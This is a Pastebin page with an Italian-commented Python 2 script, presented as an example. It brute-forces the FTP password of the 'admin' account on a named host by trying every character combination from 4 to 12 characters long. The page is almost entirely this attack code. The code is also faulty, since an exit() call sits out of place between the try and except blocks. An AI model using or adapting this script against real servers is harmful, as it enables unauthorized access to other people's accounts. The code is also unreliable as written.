Advertisement
Driverfury

BruteForce.py - Esempio 02

Nov 10th, 2013
10,027
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.21 KB | None | 0 0
  1. # Importo la libreria che ci serve per la connessione ftp
  2. import ftplib
  3.  
  4. # Lista dei caratteri possibili in una password.
  5. listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
  6.  
  7. # Funzione che verifica se la password passata come parametro
  8. # e' quella corretta e di conseguenza e' stata indovinata.
  9. def testaPassword(password):
  10.     print "Testando la password:", password
  11.     # Tento di connettermi al sito ftp.sitodiprova.it come admin
  12.     try:
  13.         # Se la password e' corretta stampa il messaggio di password trovata
  14.         ftp = ftplib.FTP("ftp.sitodiprova.it", "admin", password)
  15.         print "Password trovata:", password
  16.         ftp.quit()
  17.     exit() # Esco dal programma Python altrimenti continuera' a testare password
  18.     except:
  19.         # Se la password e' errata esci dalla funzione e continua con la generazione della prossima password
  20.         # da testare
  21.         return
  22.    
  23. # Qui bisogna supporre una lunghezza massima della password,
  24. # ipotizziamo 12 caratteri.
  25. # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
  26. # da 4 caratteri in poi verra' testata la password (attraverso
  27. # la funzione testaPassword).
  28. for c1 in listaCaratteri:
  29.     for c2 in listaCaratteri:
  30.         for c3 in listaCaratteri:
  31.             for c4 in listaCaratteri:
  32.                 psw = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
  33.                                     # correnti ovvero c1, c2, c3, c4
  34.                 testaPassword(psw)
  35.                 for c5 in listaCaratteri:
  36.                     psw = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
  37.                                             # caratteri correntiovvero c1, c2, c3, c4
  38.                     testaPassword(psw)
  39.                     for c6 in listaCaratteri:
  40.                         psw = c1+c2+c3+c4+c5+c6
  41.                         testaPassword(psw)
  42.                         for c7 in listaCaratteri:
  43.                             psw = c1+c2+c3+c4+c5+c6+c7
  44.                             testaPassword(psw)
  45.                             for c8 in listaCaratteri:
  46.                                 psw = c1+c2+c3+c4+c5+c6+c7+c8
  47.                                 testaPassword(psw)
  48.                                 for c9 in listaCaratteri:
  49.                                     psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
  50.                                     testaPassword(psw)
  51.                                     for c10 in listaCaratteri:
  52.                                         psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
  53.                                         testaPassword(psw)
  54.                                         for c11 in listaCaratteri:
  55.                                             psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
  56.                                             testaPassword(psw)
  57.                                             for c12 in listaCaratteri:
  58.                                                 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
  59.                                                 testaPassword(psw)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement